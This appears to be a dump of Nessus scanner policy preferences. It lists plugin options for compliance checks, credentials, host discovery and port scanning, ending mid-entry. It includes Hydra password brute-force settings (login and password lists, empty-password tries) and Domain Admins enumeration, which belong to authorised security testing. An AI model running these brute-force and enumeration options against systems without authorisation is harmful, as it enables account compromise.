+Case insensitive regex +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Abort web application tests if login fails +Abort web application tests if login fails +checkbox +no +no + +Remote web server screenshot +59861 +Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a screenshot of the public targets +Allow Nessus to connect to the cloud to take a screenshot of the public targets +checkbox +no +no + +HTTP cookies import +42893 +HTTP cookies import[file]:Cookies file : +Cookies file : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Hydra: Cisco enable +15870 +Hydra: Cisco enable[entry]:Logon password : +Logon password : +entry + + + +Hydra: HTTP +15873 +Hydra: HTTP[entry]:Web page : +Web page : +entry + + + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Always enable Hydra (slow) +Always enable Hydra (slow) +checkbox +no +no + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[file]:Logins file : +Logins file : +file + + + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[file]:Passwords file : +Passwords file : +file + + + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[entry]:Number of parallel tasks : +Number of parallel tasks : +entry +16 +16 + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[entry]:Timeout (in seconds) : +Timeout (in seconds) : +entry +30 +30 + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Try empty passwords +Try empty passwords +checkbox +yes +yes + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Try login as password +Try login as password +checkbox +yes +yes + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Exit as soon as an account is found +Exit as soon as an account is found +checkbox +no +no + +Hydra (NASL wrappers options) +15868 +Hydra (NASL wrappers options)[checkbox]:Add accounts found by other plugins to login file +Add accounts found by other plugins to login file +checkbox +yes +yes + +Hydra: LDAP +15877 +Hydra: LDAP[entry]:DN : +DN : +entry + + + +Hydra: HTTP proxy +15874 +Hydra: HTTP proxy[entry]:Web site (optional) : +Web site (optional) : +entry + + + +Hydra: SMB +15884 +Hydra: SMB[radio]:Check local / domain accounts +Check local / domain accounts +radio +Local accounts; Domain Accounts; Either +Local accounts; Domain Accounts; Either + +Hydra: SMB +15884 +Hydra: SMB[checkbox]:Interpret passwords as NTLM hashes +Interpret passwords as NTLM hashes +checkbox +no +no + +Hydra: PostgreSQL +18660 +Hydra: PostgreSQL[entry]:Database name (optional) : +Database name (optional) : +entry + + + +Hydra: SAP R3 +15883 +Hydra: SAP R3[entry]:Client ID (between 0 and 99) : +Client ID (between 0 and 99) : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +Web Reports Server : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +Web Reports Port : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +Web Reports Username : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +Web Reports Password : +password + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Active Outbound Connection to Host Listed in Known Bot Database +58430 +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +Custom Netstat IP Threat List : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[entry]:Login : +Login : +entry + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[password]:Password : +Password : +password + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +Kerberos Key Distribution Center (KDC) : +entry + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos KDC Port : +Kerberos KDC Port : +entry +88 +88 + +Kerberos configuration +17351 +Kerberos configuration[radio]:Kerberos KDC Transport : +Kerberos KDC Transport : +radio +tcp +tcp + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +Kerberos Realm (SSH only) : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +LDAP user : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +LDAP password : +password + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +Max results : +entry +1000 +1000 + +Login configurations +10870 +Login configurations[entry]:HTTP account : +HTTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:HTTP password (sent in clear) : +HTTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:NNTP account : +NNTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:NNTP password (sent in clear) : +NNTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:FTP account : +FTP account : +entry +anonymous +anonymous + +Login configurations +10870 +Login configurations[password]:FTP password (sent in clear) : +FTP password (sent in clear) : +password +nessus@nessus.org +********* + +Login configurations +10870 +Login configurations[entry]:FTP writeable directory : +FTP writeable directory : +entry +/incoming +/incoming + +Login configurations +10870 +Login configurations[entry]:POP2 account : +POP2 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP2 password (sent in clear) : +POP2 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:POP3 account : +POP3 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP3 password (sent in clear) : +POP3 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IMAP account : +IMAP account : +entry + + + +Login configurations +10870 +Login configurations[password]:IMAP password (sent in clear) : +IMAP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IPMI account : +IPMI account : +entry + + + +Login configurations +10870 +Login configurations[password]:IPMI password (sent in clear) : +IPMI password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB account : +SMB account : +entry + + + +Login configurations +10870 +Login configurations[password]:SMB password : +SMB password : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB domain (optional) : +SMB domain (optional) : +entry + + + +Login configurations +10870 +Login configurations[radio]:SMB password type : +SMB password type : +radio +Password;LM Hash;NTLM Hash +Password;LM Hash;NTLM Hash + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (1) : +Additional SMB account (1) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (1) : +Additional SMB password (1) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (1) : +Additional SMB domain (optional) (1) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (2) : +Additional SMB account (2) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (2) : +Additional SMB password (2) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (2) : +Additional SMB domain (optional) (2) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (3) : +Additional SMB account (3) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (3) : +Additional SMB password (3) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (3) : +Additional SMB domain (optional) (3) : +entry + + + +Login configurations +10870 +Login configurations[checkbox]:Never send SMB credentials in clear text +Never send SMB credentials in clear text +checkbox +yes +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use NTLMv2 +Only use NTLMv2 +checkbox +no +no + +Login configurations +10870 +Login configurations[checkbox]:Only use Kerberos authentication for SMB +Only use Kerberos authentication for SMB +checkbox +no +no + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Username : +Username : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[password]:Password : +Password : +password + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Root URL : +Root URL : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Platform ID : +Platform ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Billing ID : +Billing ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App ID : +App ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App version : +App version : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App access key : +App access key : +entry + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +MobileIron VSP Admin Portal URL : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron port : +MobileIron port : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron username : +MobileIron username : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[password]:MobileIron password : +MobileIron password : +password + + + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Username : +Username : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[password]:Password : +Password : +password + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Database for authentication : +Database for authentication : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Port : +Port : +entry +27017 +27017 + +Nessus TCP scanner +10335 +Nessus TCP scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +Nessus SYN scanner +11219 +Nessus SYN scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OpenStack Compliance Checks +86349 +OpenStack Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OpenStack Settings +86348 +OpenStack Settings[entry]:Username : +Username : +entry + + + +OpenStack Settings +86348 +OpenStack Settings[entry]:Tenant Name for Authentication : +Tenant Name for Authentication : +entry +admin +admin + +OpenStack Settings +86348 +OpenStack Settings[password]:Password : +Password : +password + + + +OpenStack Settings +86348 +OpenStack Settings[entry]:Port : +Port : +entry +443 +443 + +OpenStack Settings +86348 +OpenStack Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +OpenStack Settings +86348 +OpenStack Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +Oracle Settings +22076 +Oracle Settings[radio]:Oracle service type : +Oracle service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Oracle Settings +22076 +Oracle Settings[entry]:Oracle SID : +Oracle SID : +entry + + + +Oracle Settings +22076 +Oracle Settings[checkbox]:Test default accounts (slow) +Test default accounts (slow) +checkbox +no +no + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +Palo Alto Username : +entry + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +Palo Alto Password : +password + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +Palo Alto Port : +entry +443 +443 + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Patch Report +66334 +Patch Report[checkbox]:Display the superseded patches in the report +Display the superseded patches in the report +checkbox +yes +yes + +PCI DSS compliance +33929 +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +Check for PCI-DSS compliance +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[entry]:TCP ping destination port(s) : +TCP ping destination port(s) : +entry +built-in +built-in + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ARP ping +Do an ARP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do a TCP ping +Do a TCP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ICMP ping +Do an ICMP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[entry]:Number of retries (ICMP) : +Number of retries (ICMP) : +entry +2 +2 + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +Do an applicative UDP ping (DNS,RPC...) +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Make the dead hosts appear in the report +Make the dead hosts appear in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Log live hosts in the report +Log live hosts in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Test the local Nessus host +Test the local Nessus host +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Fast network discovery +Fast network discovery +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +Interpret ICMP unreach from gateway +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +Check open TCP ports found by local port enumerators +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +Only run network port scanners if local port enumeration failed +checkbox +yes +yes + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Rackspace Compliance Checks +79356 +Rackspace Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Rackspace Settings +79355 +Rackspace Settings[entry]:Username : +Username : +entry + + + +Rackspace Settings +79355 +Rackspace Settings[password]:Password or API Key : +Password or API Key : +password + + + +Rackspace Settings +79355 +Rackspace Settings[radio]:Authentication Method : +Authentication Method : +radio +API-Key;Password +API-Key;Password + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Dallas-Fort Worth (DFW) : +Dallas-Fort Worth (DFW) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Chicago (ORD) : +Chicago (ORD) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Northern Virginia (IAD) : +Northern Virginia (IAD) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:London (LON) : +London (LON) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Sydney (SYD) : +Sydney (SYD) : +checkbox +yes +yes + +Rackspace Settings +79355 +Rackspace Settings[checkbox]:Hong Kong (HKG) : +Hong Kong (HKG) : +checkbox +yes +yes + +RHEV Settings +77089 +RHEV Settings[entry]:Username : +Username : +entry + + + +RHEV Settings +77089 +RHEV Settings[password]:Password : +Password : +password + + + +RHEV Settings +77089 +RHEV Settings[entry]:Port : +Port : +entry +443 +443 + +RHEV Settings +77089 +RHEV Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[entry]:Username : +Username : +entry + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[password]:Password : +Password : +password + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +Satellite 6 Server : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +Satellite 6 Port : +entry +443 +443 + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +Satellite 6 Use SSL : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +Satellite 6 Verify Certificate : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +Satellite 6 Username : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +Satellite 6 Password : +password + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +Red Hat Satellite server(s) [separated w/ semicolons] : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +Red Hat Satellite port(s) : +entry +443 +443 + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +Verify SSL certificates : +checkbox +no +no + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +Red Hat Satellite username(s) : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +Red Hat Satellite password(s) : +password + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Start COTP TSAP : +Start COTP TSAP : +entry +8 +8 + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Stop COTP TSAP : +Stop COTP TSAP : +entry +8 +8 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:Start reg : +Start reg : +entry +0 +0 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:End reg : +End reg : +entry +16 +16 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP 